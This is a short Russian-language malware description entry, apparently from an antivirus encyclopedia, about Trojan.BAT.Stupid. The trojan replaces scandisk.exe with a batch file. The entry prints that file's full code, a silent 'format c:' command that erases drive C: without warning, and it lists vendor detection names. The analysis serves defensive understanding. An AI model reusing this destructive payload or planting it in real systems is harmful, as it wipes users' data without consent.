Security Lab

Trojan.BAT. Stupid

Trojan.BAT. Stupid

Троянская программа, выполняющая деструктивные действия на компьютере пользователя.

Троянская программа, выполняющая деструктивные действия на компьютере пользователя. Является пакетным файлом командного интерпретатора (BAT-файл). Имеет размер 246 байт.

Деструктивная активность

После запуска троянец удаляет следующий файл:

C:\windows\command\scandisk.exe

И подменяет его файлом:

C:\windows\command\scandisk.bat

который содержит следующий код:

@echo off
break off
format c: /autotest /q /u

Это приводит к тому, что после вызова программы проверки дисков "scandisk" будет выполнена попытка форматирования диска "C:" без вывода предупреждений на консоль пользователя.

Другие названия

Trojan.BAT.Stupid («Лаборатория Касперского») также известен как: Bat/qz73 (McAfee), Trojan Horse (Symantec), Troj/Stupid (Sophos), BAT/Formatdrive.D* (RAV), BAT_STUPID (Trend Micro), TR/BAT.Stupid (H+BEDV), BAT/FormatDrive.D (FRISK), BV:Malware (ALWIL), BAT.Trojan.Stupid (SOFTWIN), Trojan.Bat.Stupid (ClamAV), BAT/FormatDrive.D (Panda), BAT/Stupid.B (Eset)

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться